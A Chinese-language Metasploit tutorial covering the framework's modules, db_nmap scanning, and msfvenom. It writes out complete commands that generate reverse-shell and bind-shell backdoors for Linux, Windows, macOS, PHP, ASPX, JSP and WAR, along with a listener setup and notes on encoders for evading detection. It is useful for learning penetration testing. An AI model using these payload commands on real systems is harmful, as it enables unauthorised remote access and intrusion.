metasploit
一、metasploit框架介绍
metasploit是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并且还在持续保持更新
该工具在kali上的路径是:/usr/share/metasploit-framework/
,目录:
data
:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件documentation
:包含框架的可用文档lib
:metasploit的库文件夹plugins
:用来存放metasploit的脚本,包括meterpreter及其他脚本tools
:存放多种的命令行实用程序modules
:存储metasploit的模块文件
其中的modules目录:
auxiliary
:辅助模块,辅助渗透(端口扫描、登陆密码爆破、漏洞验证等)exploits
:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:操作系统/各种应用协议分类payloads
:有效攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码post
:后渗透阶段模块,漏洞利用成功后获得meterpreter之后,向目标发送的一些功能性指令,如:提权等encoders
:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统evasion
:躲避模块,用来生成免杀payloadnops
:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPS x90x90…)则会因为被拦截而导致攻击失效
二、信息收集
1、进入metasploit框架
msfconsole
:进入框架msfdb init
:初始化、连接数据库db_status
:查看是否成功连接到数据库workspace
:当前工作区workspace -h
:帮助命令
2、内网主机发现
db_nmap
:nmap扫描,"db"指将扫描结果存入数据库-PA
:TCP ACK PING扫描-PS
:TCP SYN PING扫描-PR
:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求hosts
:列出当前工作区扫描出来的所有主机
3、端口、服务、版本探测
db_nmap
:nmap扫描-T[0-5]
:默认为T3,T4表示最大TCP扫描延迟为10ms-sS
:TCP SYN扫描-sY
:TCP SYN扫描-A
:打开操作系统探测和版本探测
4、检查是否具有常见漏洞
db_nmap
:nmap扫描--script=vuln
:检查是否有常见漏洞
三、msfvenom实战
1、msfvenom介绍
msfvenom
是msfpayload
和msfencode
的组合,将这两个工具集成在一个框架实例中。
msfvenom
是一个用来生成后门的软件,在目标机上执行后门,在本地监听上线。
监听模块:use exploit/multi/handler
快速建立监听:handler -H <Your IP Address> -P <Your Port to connect> -p <parload>
2、msfvenom基本参数
-P(--payload)
:指定特定的Payload ,如果被设置为- , 那么从标准输入流中读取-l(--list)
:列出所有可用的项目,其中值可以被设置为payloads, encoders, nops, all-n(--nopsled)
:指定nop在payload中的数量-f(--format)
:指定Payload的输出格式( --list formats :列出所有可用的输出格式)-e(--encoder)
:指定使用的encoder-a(--arch)
:指定目标系统架构--platform
:指定目标系统平台-s(--space)
:设置未经编码的Payload的最大长度( --encoder-space :编码后的Payload的最大长度)-b(--bad-chars)
:设置需要在Payload中避免出现的字符,例如: ‘\0f’、 \x00’等-i(--iterations)
:设置Payload的编码次数--smallest
:尽可能生成最短的Payload-o(--out)
:保存Payload到文件-c(--add-code)
:指定-个附加的win32 shellcode文件-x(--template)
:指定一个特定的可执行文件作为模板-k(--keep)
:保护模板程序的功能,注入的payload作为一个新的进程运行
3、实战
payload理解
single
:是一种完全独立的Payload ,将完整的payload都编译在木马中,体积庞大不灵活,而且容易被杀。如: meterpreter reverse. _tcpstager
:负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段。如: reverse_tcp、bind_tcp- 作用①:允许我们使用较小的有效载荷去加载具有更多功能的较大的payload
- 作用②:使通信机制与最终阶段分离成为可能
stage
:提供更高级的功能,且没有大小限制(因为stager为stage分配了大量内存)如:meterpreter
stager和stage就像web入侵里面提到的小马和大马一样,由于攻击利用环境的限制,可能不能一下子把stage传过去 ,需要先传一个stager,stager在attacker和target之间建立网络连接,之后再把stage传过去进行下一步的行动。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令,经常出现什么sending stager error,如果网络真的很差的话,可以选用stageless meterpreter
(1)msfvenom生成可执行程序payload
-
Linux:
反向连接:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f elf -o /root/Desktop/shell.elf
正向连接:
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT= <Your Port to ConnectOn> -f elf -o /root/Desktop/shell.elf
-
Windows:
反向连接:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f exe -o /root/Desktop/shell.exe
-
Mac:
反向连接:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f macho -o /root/Desktop/shell.macho
(2)msfvenom生成web payload
- php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT= <Your Port to Connect On> -f raw -o /root/Desktop/shell.php
- asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f aspx -o /root/Desktop/shell.aspx
- jsp:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f raw -o /root/Desktop/shell.jsp
- war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= <Your IP Address> LPORT= <Your Port to Connect On> -f war -o /root/Desktop/shell.war